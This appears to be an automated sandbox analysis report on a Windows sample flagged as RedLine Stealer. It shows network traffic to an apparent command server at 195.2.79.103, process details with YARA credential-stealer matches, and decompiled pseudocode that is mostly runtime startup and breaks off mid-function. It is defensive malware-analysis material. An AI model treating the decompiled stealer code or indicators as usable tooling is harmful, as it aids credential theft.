Nov 2, 2022 19:52:57.683053970 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.683166981 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.683202982 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.683643103 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.690785885 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.690804005 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.690818071 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.690839052 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.690855980 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.690959930 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.690980911 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.691020966 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.691158056 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.691225052 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.691239119 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.691499949 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.691514969 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.691854000 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.692198992 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.692250967 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746157885 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746212959 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746251106 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746293068 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746310949 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746337891 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746546030 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746587992 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746618032 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746643066 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746670008 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746696949 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746721983 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.746740103 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.767692089 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.811887026 CET	49696	29071	192.168.2.4	195.2.79.103

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: hy4iXHZVJ4.exePID: 6084, Parent PID: 3528

General

Target ID:	0
Start time:	19:52:07
Start date:	02/11/2022
Path:	C:\Users\user\Desktop\hy4iXHZVJ4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\hy4iXHZVJ4.exe
Imagebase:	0x400000
File size:	2566656 bytes
MD5 hash:	30757D645E25FB8EE4871CEFACE19772
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.324332511.00000000009D2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.328701163.000000000084C000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6096, Parent PID: 6084

General

Target ID:	1
Start time:	19:52:07
Start date:	02/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 104032, Parent PID: 6084

General

Target ID:	2
Start time:	19:52:15
Start date:	02/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0xfd0000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: hy4iXHZVJ4.exePID: 6084, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	37.8%
Signature Coverage:	31.1%
Total number of Nodes:	45
Total number of Limit Nodes:	5

Executed Functions

Function 004013C9 Relevance: 13.6, APIs: 9, Instructions: 113
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E004013C9(char** _a4, signed int _a8) {
				signed int _v0;
				void* _v16;
				signed short _v44;
				signed char _v48;
				void* _v104;
				intOrPtr _v108;
				void* _v112;
				intOrPtr _v116;
				intOrPtr* _t42;
				_Unknown_base(*)()* _t44;
				signed char** _t46;
				signed char* _t47;
				void* _t48;
				intOrPtr* _t49;
				signed int _t56;
				intOrPtr _t58;
				char* _t60;
				void* _t62;
				signed int _t65;
				signed int _t69;
				signed int _t71;
				void* _t74;
				char*** _t78;
				signed int _t81;
				void* _t86;
				signed int _t87;
				signed int _t88;
				char** _t89;
				intOrPtr _t92;
				char** _t96;
				int _t97;
				intOrPtr* _t99;
				signed int _t101;
				signed int _t103;
				signed int _t104;
				void** _t106;
				intOrPtr* _t107;

				while(1) {
					L38:
					_t71 = 1;
					if( *0x556df4 != 1) {
						goto L7;
					}
					L39:
					 *_t106 = 0x1f;
					L00447720();
					if( *0x556df4 != 1) {
						L10:
						if(_t71 == 0) {
							goto L41;
						}
						goto L11;
					} else {
						L40:
						_a4 = 0x558008;
						_v0 = 0x558000;
						L004476E8();
						 *0x556df4 = 2;
						if(_t71 != 0) {
							L11:
							_t42 =  *0x511a74; // 0x4379a0
							if(_t42 != 0) {
								_a8 = 0;
								_a4 = 2;
								_v0 = 0;
								_t42 =  *_t42();
								_t106 = _t106 - 0xc;
							}
							L00437CA0(_t42, _t92, _t99);
							_v0 = 0x437f20;
							_t44 = SetUnhandledExceptionFilter(??);
							_t107 = _t106 - 4;
							 *0x5563cc = _t44;
							 *_t107 = 0x401000;
							_t46 = L00437B20(L00447780());
							 *0x556de8 = 0x400000;
							L00447740();
							_t47 =  *_t46;
							_t81 = 0;
							if(_t47 != 0) {
								while(1) {
									_t87 =  *_t47 & 0x000000ff;
									if(_t87 <= 0x20) {
										goto L15;
									}
									L20:
									_t81 =  ==  ? _t81 ^ 0x00000001 : _t81;
									L18:
									_t47 =  &(_t47[1]);
									_t87 =  *_t47 & 0x000000ff;
									if(_t87 <= 0x20) {
										goto L15;
									}
									L25:
									 *0x556dec = _t47;
									goto L26;
									L15:
									if(_t87 != 0 && (_t81 & 0x00000001) != 0) {
										_t81 = 1;
										goto L18;
									}
									if(_t87 != 0) {
										while(1) {
											_t47 =  &(_t47[1]);
											_t88 =  *_t47 & 0x000000ff;
											if(_t88 == 0) {
												goto L25;
											}
											if(_t88 <= 0x20) {
												continue;
											}
											goto L25;
										}
									} else {
									}
									goto L25;
								}
							} else {
							}
							L26:
							if( *0x5563b8 != 0) {
								_t65 = 0xa;
								if((_v48 & 0x00000001) != 0) {
									_t65 = _v44 & 0x0000ffff;
								}
								 *0x4ce000 = _t65;
							}
							_t69 =  *0x556018;
							_t97 = 4 + _t69 * 4;
							_t48 = malloc(_t97);
							_v112 = _t48;
							_t89 =  *0x556014;
							if(_t69 <= 0) {
								_t49 = _v112;
							} else {
								_t74 = _t48;
								_t14 = _t97 - 4; // 0x7471648c
								_t58 = _t14;
								_t96 = _t89;
								_v116 = _t58;
								_v108 = _t58 + _t89;
								do {
									_t60 =  *_t96;
									_t74 = _t74 + 4;
									_t96 =  &(_t96[1]);
									_t17 = strlen(_t60) + 1; // 0x1
									_t97 = _t17;
									_t62 = malloc(_t97);
									 *(_t74 - 4) = _t62;
									memcpy(_t62,  *(_t96 - 4), _t97);
								} while (_v108 != _t96);
								_t49 = _v116 + _v112;
							}
							 *_t49 = 0;
							 *0x556014 = _v112;
							L004377D0();
							 *__imp____initenv =  *0x556010;
							_a8 =  *0x556010;
							_a4 =  *0x556014;
							_v0 =  *0x556018; // executed
							_t56 = L00405B5F(); // executed
							 *0x55600c = _t56;
							if( *0x556008 == 0) {
								_v0 = _t56;
								L004476A0();
								 *0x5563b8 = 1;
								L00437810();
								_t103 = _t107 - 0xc + 0xc;
								_t78 =  &_a4;
								_t104 = _t103 & 0xfffffff0;
								_push( *((intOrPtr*)(_t78 - 4)));
								_push(_t101);
								_t101 = _t104;
								_push(_t92);
								_push(_t97);
								_push(_t69);
								_push(_t78);
								_t86 = _t101 - 0x5c;
								memset(_t86, 0, 0x11 << 2);
								_t106 = _t104 - 0x78 + 0xc;
								if( *0x5563b8 != 0) {
									 *_t106 = _t86;
									GetStartupInfoA(??);
									_t106 = _t106 - 4;
								}
								_t92 =  *((intOrPtr*)( *[fs:0x18] + 4));
								_t99 = Sleep;
								while(1) {
									asm("lock cmpxchg [0x556df8], edi");
									if(0 == 0) {
										break;
									}
									if(_t92 == 0) {
										goto L38;
									} else {
										 *_t106 = 0x3e8;
										 *_t99();
										_t106 = _t106 - 4;
										continue;
									}
									goto L11;
								}
								_t71 = 0;
								if( *0x556df4 == 1) {
									goto L39;
								} else {
									goto L7;
								}
								goto L11;
							}
							if( *0x556004 == 0) {
								L00447718();
								_t56 =  *0x55600c;
							}
							return _t56;
						} else {
							L41:
							 *0x556df8 = _t71;
							goto L11;
						}
					}
					L7:
					if( *0x556df4 == 0) {
						_a4 = 0x558018;
						_v0 = 0x55800c;
						 *0x556df4 = 1;
						L004476E8();
					} else {
						 *0x556004 = 1;
					}
					if( *0x556df4 == 1) {
						goto L40;
					} else {
						goto L10;
					}
					goto L11;
				}
			}

0x004013d0
0x004013d0
0x004013d5
0x004013dd
0x00000000
0x00000000
0x004013e3
0x004013e3
0x004013ea
0x004013f7
0x004011ea
0x004011ec
0x00000000
0x00000000
0x00000000
0x004013fd
0x004013fd
0x004013fd
0x00401405
0x0040140c
0x00401413
0x0040141d
0x004011f2
0x004011f2
0x004011f9
0x004011fb
0x00401203
0x0040120b
0x00401212
0x00401214
0x00401214
0x00401217
0x0040121c
0x00401223
0x00401229
0x0040122c
0x00401231
0x0040123d
0x00401242
0x0040124c
0x00401251
0x00401253
0x00401257
0x00401271
0x00401271
0x00401277
0x00000000
0x00000000
0x00401279
0x00401281
0x0040126e
0x0040126e
0x00401271
0x00401277
0x00000000
0x00000000
0x004012af
0x004012af
0x00000000
0x00401260
0x00401262
0x00401269
0x00000000
0x00401269
0x00401292
0x004012a5
0x004012a5
0x004012a8
0x004012ad
0x00000000
0x00000000
0x004012a3
0x00000000
0x00000000
0x00000000
0x004012a3
0x00000000
0x00401294
0x00000000
0x00401292
0x00000000
0x00401259
0x004012b4
0x004012bc
0x004012c2
0x004012c7
0x004013c0
0x004013c0
0x004012cd
0x004012cd
0x004012d2
0x004012d8
0x004012e2
0x004012e9
0x004012ec
0x004012f2
0x00401464
0x004012f8
0x004012f8
0x004012fa
0x004012fa
0x004012fd
0x004012ff
0x00401304
0x00401310
0x00401310
0x00401312
0x00401315
0x00401320
0x00401320
0x00401326
0x0040132b
0x0040133c
0x00401341
0x00401349
0x00401349
0x0040134c
0x00401355
0x0040135a
0x0040136a
0x00401371
0x0040137a
0x00401383
0x00401386
0x00401391
0x00401398
0x0040146c
0x0040146f
0x00401483
0x0040148d
0x00401492
0x00401150
0x00401154
0x00401159
0x0040115c
0x0040115d
0x0040115f
0x00401160
0x00401161
0x00401162
0x00401163
0x00401176
0x00401176
0x0040117a
0x00401430
0x00401433
0x00401439
0x00401439
0x00401188
0x0040118b
0x004011a7
0x004011a9
0x004011b3
0x00000000
0x00000000
0x00401195
0x00000000
0x0040119b
0x0040119b
0x004011a2
0x004011a4
0x00000000
0x004011a4
0x00000000
0x00401195
0x004011ba
0x004011bf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004011bf
0x004013a6
0x004013a8
0x004013ad
0x004013ad
0x004013bd
0x00401423
0x00401423
0x00401423
0x00000000
0x00401423
0x0040141d
0x004011c5
0x004011cc
0x00401441
0x00401449
0x00401450
0x0040145a
0x004011d2
0x004011d2
0x004011d2
0x004011e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004011e4

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223
__p__acmdln.MSVCRT ref: 0040124C
malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8
_amsg_exit.MSVCRT ref: 004013EA
_initterm.MSVCRT ref: 0040140C

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 738594520-0
Opcode ID: d394e61af5ce57c85e4dd9310b5e940d9f52b15637d0df9d412ec882caca5468
Instruction ID: 9363d45b5aee3574c7de7273569baf14ae09b270f039845698beeb0093ce5df2
Opcode Fuzzy Hash: d394e61af5ce57c85e4dd9310b5e940d9f52b15637d0df9d412ec882caca5468
Instruction Fuzzy Hash: F1418CB0A08341CFDB50EF65D89475AB7F0FB58315F41492ED588A73A1E738A848DF46

Uniqueness

Uniqueness Score: -1.00%

Function 0040119B Relevance: 10.6, APIs: 7, Instructions: 115
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E0040119B(signed int __ebx, int __esi, intOrPtr _a4) {
				char** _v0;
				signed int _v4;
				void* _v16;
				signed short _v44;
				signed char _v48;
				intOrPtr _v108;
				void* _v112;
				intOrPtr _v116;
				intOrPtr* _t43;
				_Unknown_base(*)()* _t45;
				signed char** _t47;
				signed char* _t48;
				void* _t49;
				intOrPtr* _t50;
				signed int _t57;
				intOrPtr _t59;
				char* _t61;
				void* _t63;
				signed int _t66;
				signed int _t69;
				signed int _t71;
				void* _t74;
				char*** _t78;
				signed int _t81;
				void* _t86;
				signed int _t87;
				signed int _t88;
				char** _t89;
				intOrPtr _t92;
				char** _t96;
				void* _t99;
				signed int _t101;
				void* _t103;
				signed int _t104;
				signed int _t105;
				void** _t107;
				intOrPtr* _t108;

				L0:
				while(1) {
					L0:
					_t97 = __esi;
					_t69 = __ebx;
					_v0 = 0x3e8;
					 *__esi();
					_t104 = _t103 - 4;
					while(1) {
						L4:
						asm("lock cmpxchg [0x556df8], edi");
						if(0 != 0) {
							goto L3;
						}
						L5:
						_t71 = 0;
						if( *0x556df4 == 1) {
							L38:
							_v4 = 0x1f;
							L00447720();
							if( *0x556df4 != 1) {
								goto L9;
							} else {
								goto L39;
							}
							goto L45;
						} else {
							L6:
							if( *0x556df4 == 0) {
								_v0 = 0x558018;
								_v4 = 0x55800c;
								 *0x556df4 = 1;
								L004476E8();
							} else {
								 *0x556004 = 1;
							}
							if( *0x556df4 == 1) {
								L39:
								_v0 = 0x558008;
								_v4 = 0x558000;
								L004476E8();
								 *0x556df4 = 2;
								if(_t71 != 0) {
									goto L10;
								} else {
									goto L40;
								}
								L45:
							} else {
								L9:
								if(_t71 == 0) {
									L40:
									 *0x556df8 = _t71;
								}
							}
						}
						L10:
						_t43 =  *0x511a74; // 0x4379a0
						if(_t43 != 0) {
							_a4 = 0;
							_v0 = 2;
							_v4 = 0;
							_t43 =  *_t43();
							_t107 = _t107 - 0xc;
						}
						L00437CA0(_t43, _t92, _t99);
						_v4 = 0x437f20;
						_t45 = SetUnhandledExceptionFilter(??);
						_t108 = _t107 - 4;
						 *0x5563cc = _t45;
						 *_t108 = 0x401000;
						_t47 = L00437B20(L00447780());
						 *0x556de8 = 0x400000;
						L00447740();
						_t48 =  *_t47;
						_t81 = 0;
						if(_t48 != 0) {
							while(1) {
								L18:
								_t87 =  *_t48 & 0x000000ff;
								if(_t87 <= 0x20) {
									goto L14;
								}
								L19:
								_t81 =  ==  ? _t81 ^ 0x00000001 : _t81;
								L17:
								_t48 =  &(_t48[1]);
								L18:
								_t87 =  *_t48 & 0x000000ff;
								if(_t87 <= 0x20) {
									goto L14;
								}
								L24:
								 *0x556dec = _t48;
								goto L25;
								L14:
								if(_t87 != 0 && (_t81 & 0x00000001) != 0) {
									L16:
									_t81 = 1;
									goto L17;
								}
								L20:
								if(_t87 != 0) {
									while(1) {
										L23:
										_t48 =  &(_t48[1]);
										_t88 =  *_t48 & 0x000000ff;
										if(_t88 == 0) {
											goto L24;
										}
										L22:
										if(_t88 <= 0x20) {
											continue;
										}
										goto L24;
									}
								}
								goto L24;
							}
						}
						L25:
						if( *0x5563b8 != 0) {
							_t66 = 0xa;
							if((_v48 & 0x00000001) != 0) {
								_t66 = _v44 & 0x0000ffff;
							}
							 *0x4ce000 = _t66;
						}
						_t69 =  *0x556018;
						_t97 = 4 + _t69 * 4;
						_t49 = malloc(_t97);
						_v112 = _t49;
						_t89 =  *0x556014;
						if(_t69 <= 0) {
							L43:
							_t50 = _v112;
						} else {
							L29:
							_t74 = _t49;
							_t14 = _t97 - 4; // 0x7471648c
							_t59 = _t14;
							_t96 = _t89;
							_v116 = _t59;
							_v108 = _t59 + _t89;
							do {
								L30:
								_t61 =  *_t96;
								_t74 = _t74 + 4;
								_t96 =  &(_t96[1]);
								_t17 = strlen(_t61) + 1; // 0x1
								_t97 = _t17;
								_t63 = malloc(_t97);
								 *(_t74 - 4) = _t63;
								memcpy(_t63,  *(_t96 - 4), _t97);
							} while (_v108 != _t96);
							_t50 = _v116 + _v112;
						}
						L32:
						 *_t50 = 0;
						 *0x556014 = _v112;
						L004377D0();
						 *__imp____initenv =  *0x556010;
						_a4 =  *0x556010;
						_v0 =  *0x556014;
						_v4 =  *0x556018; // executed
						_t57 = L00405B5F(); // executed
						 *0x55600c = _t57;
						if( *0x556008 == 0) {
							L44:
							_v4 = _t57;
							L004476A0();
							 *0x5563b8 = 1;
							L00437810();
							_t104 = _t108 - 0xc + 0xc;
							L1:
							_t78 =  &_v0;
							_t105 = _t104 & 0xfffffff0;
							_push( *((intOrPtr*)(_t78 - 4)));
							_push(_t101);
							_t101 = _t105;
							_push(_t92);
							_push(_t97);
							_push(_t69);
							_push(_t78);
							_t86 = _t101 - 0x5c;
							memset(_t86, 0, 0x11 << 2);
							_t107 = _t105 - 0x78 + 0xc;
							if( *0x5563b8 != 0) {
								 *_t107 = _t86;
								GetStartupInfoA(??);
								_t107 = _t107 - 4;
							}
							_t92 =  *((intOrPtr*)( *[fs:0x18] + 4));
							_t99 = Sleep;
							L4:
							asm("lock cmpxchg [0x556df8], edi");
							if(0 != 0) {
								goto L3;
							}
							goto L10;
						}
						L33:
						if( *0x556004 == 0) {
							L00447718();
							_t57 =  *0x55600c;
						}
						return _t57;
						L3:
						if(_t92 == 0) {
							L37:
							_t71 = 1;
							if( *0x556df4 != 1) {
								goto L6;
							} else {
								goto L38;
							}
							goto L45;
						} else {
							goto L0;
						}
						goto L10;
					}
				}
			}

0x0040119b
0x0040119b
0x0040119b
0x0040119b
0x0040119b
0x0040119b
0x004011a2
0x004011a4
0x004011a7
0x004011a7
0x004011a9
0x004011b3
0x00000000
0x00000000
0x004011b5
0x004011ba
0x004011bf
0x004013e3
0x004013e3
0x004013ea
0x004013f7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004011c5
0x004011c5
0x004011cc
0x00401441
0x00401449
0x00401450
0x0040145a
0x004011d2
0x004011d2
0x004011d2
0x004011e4
0x004013fd
0x004013fd
0x00401405
0x0040140c
0x00401413
0x0040141d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004011ea
0x004011ea
0x004011ec
0x00401423
0x00401423
0x00401423
0x004011ec
0x004011e4
0x004011f2
0x004011f2
0x004011f9
0x004011fb
0x00401203
0x0040120b
0x00401212
0x00401214
0x00401214
0x00401217
0x0040121c
0x00401223
0x00401229
0x0040122c
0x00401231
0x0040123d
0x00401242
0x0040124c
0x00401251
0x00401253
0x00401257
0x00401271
0x00401271
0x00401271
0x00401277
0x00000000
0x00000000
0x00401279
0x00401281
0x0040126e
0x0040126e
0x00401271
0x00401271
0x00401277
0x00000000
0x00000000
0x004012af
0x004012af
0x00000000
0x00401260
0x00401262
0x00401269
0x00401269
0x00000000
0x00401269
0x00401290
0x00401292
0x004012a5
0x004012a5
0x004012a5
0x004012a8
0x004012ad
0x00000000
0x00000000
0x004012a0
0x004012a3
0x00000000
0x00000000
0x00000000
0x004012a3
0x004012a5
0x00000000
0x00401292
0x00401271
0x004012b4
0x004012bc
0x004012c2
0x004012c7
0x004013c0
0x004013c0
0x004012cd
0x004012cd
0x004012d2
0x004012d8
0x004012e2
0x004012e9
0x004012ec
0x004012f2
0x00401464
0x00401464
0x004012f8
0x004012f8
0x004012f8
0x004012fa
0x004012fa
0x004012fd
0x004012ff
0x00401304
0x00401310
0x00401310
0x00401310
0x00401312
0x00401315
0x00401320
0x00401320
0x00401326
0x0040132b
0x0040133c
0x00401341
0x00401349
0x00401349
0x0040134c
0x0040134c
0x00401355
0x0040135a
0x0040136a
0x00401371
0x0040137a
0x00401383
0x00401386
0x00401391
0x00401398
0x0040146c
0x0040146c
0x0040146f
0x00401483
0x0040148d
0x00401492
0x00401150
0x00401150
0x00401154
0x00401159
0x0040115c
0x0040115d
0x0040115f
0x00401160
0x00401161
0x00401162
0x00401163
0x00401176
0x00401176
0x0040117a
0x00401430
0x00401433
0x00401439
0x00401439
0x00401188
0x0040118b
0x004011a7
0x004011a9
0x004011b3
0x00000000
0x00000000
0x00000000
0x004011b3
0x0040139e
0x004013a6
0x004013a8
0x004013ad
0x004013ad
0x004013bd
0x00401193
0x00401195
0x004013d0
0x004013d5
0x004013dd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401195
0x004011a7

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401223
__p__acmdln.MSVCRT ref: 0040124C
malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8
_amsg_exit.MSVCRT ref: 004013EA
_initterm.MSVCRT ref: 0040140C

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 738594520-0
Opcode ID: ad8c024be1652d68f8c8be823f3f480d3f3293221a2b433280f3d3d7b7ecd028
Instruction ID: a95f94b0fac203ead61ef24b571a37910ec831659f3adebbd6be8adbb2d24bde
Opcode Fuzzy Hash: ad8c024be1652d68f8c8be823f3f480d3f3293221a2b433280f3d3d7b7ecd028
Instruction Fuzzy Hash: 10417AB0A043418FDB10EF69D89471AB7F0BB58305F40492EE988973B1E738A848DF86

Uniqueness

Uniqueness Score: -1.00%

Function 0042F510 Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 442
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0042F510(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _t255;
				void* _t258;
				signed int _t259;
				signed int _t260;
				signed int _t262;
				signed char _t263;
				void* _t271;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				void* _t294;
				char* _t298;
				signed int _t299;
				void* _t308;
				signed int* _t309;

				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_t271 = __eax;
				_t309 = _t308 - 0x3c;
				_t298 =  *((intOrPtr*)(__eax + 0xc));
				if(E0042E3E0(_t298, __ecx) != 0) {
					_t255 = E004300A0(_t271, 0,  &(_t309[0xb]));
					_t299 = _t255;
					__eflags = _t255;
					if(_t255 == 0) {
						goto L6;
					} else {
						__eflags =  *((char*)( *((intOrPtr*)(_t271 + 0xc)))) - 0x46;
						_t258 = _t271;
						if(__eflags == 0) {
							_t259 = E00430330(_t258, __edi);
							_t284 = _t259;
							 *_t299 = _t259;
						} else {
							_t262 = E0042F510(_t258, _t271, 0, __edi, _t299, __eflags);
							 *_t299 = _t262;
							_t284 = _t262;
						}
						__eflags = _t284;
						if(_t284 == 0) {
							goto L6;
						} else {
							_t294 =  *_t284;
							_t260 = _t309[0xb];
							_t15 = _t294 - 0x1f; // -31
							__eflags = _t15 - 1;
							if(_t15 <= 1) {
								 *(8 + _t284) = _t260;
								_t309[0xb] =  *_t299;
								 *_t299 =  *(8 + _t284);
								_t260 = _t309[0xb];
							}
							__eflags = _t260;
							if(_t260 == 0) {
								goto L6;
							} else {
								_t20 = _t271 + 0x20; // 0x42e754
								_t285 =  *_t20;
								__eflags = _t285 -  *((intOrPtr*)(_t271 + 0x24));
								if(_t285 >=  *((intOrPtr*)(_t271 + 0x24))) {
									goto L6;
								} else {
									 *( *((intOrPtr*)(_t271 + 0x1c)) + _t285 * 4) = _t260;
									_t286 = _t285 + 1;
									__eflags = _t286;
									 *(_t271 + 0x20) = _t286;
									return _t260;
								}
							}
						}
					}
				} else {
					_t263 =  *_t298 - 0x30;
					if(_t263 > 0x4a) {
						L6:
						goto L7;
					} else {
						switch( *((intOrPtr*)((_t263 & 0x000000ff) * 4 +  &M0050FEEC))) {
							case 0:
								__eax = __ebx;
								__eax = E0042F030(__ebx);
								__esp[0xb] = __eax;
								goto L19;
							case 1:
								goto L6;
							case 2:
								__edi = __esi + 1;
								 *(__ebx + 0xc) = __edi;
								__eax =  *(__esi + 1) & 0x000000ff;
								__eflags = __al - 0x5f;
								if(__eflags == 0) {
									__ebp = 0;
									goto L58;
								} else {
									__eax = __eax - 0x30;
									__esi = __edi;
									__eflags = __al - 9;
									if(__al <= 9) {
										while(1) {
											_t95 = __esi + 1; // 0x2
											__edx = _t95;
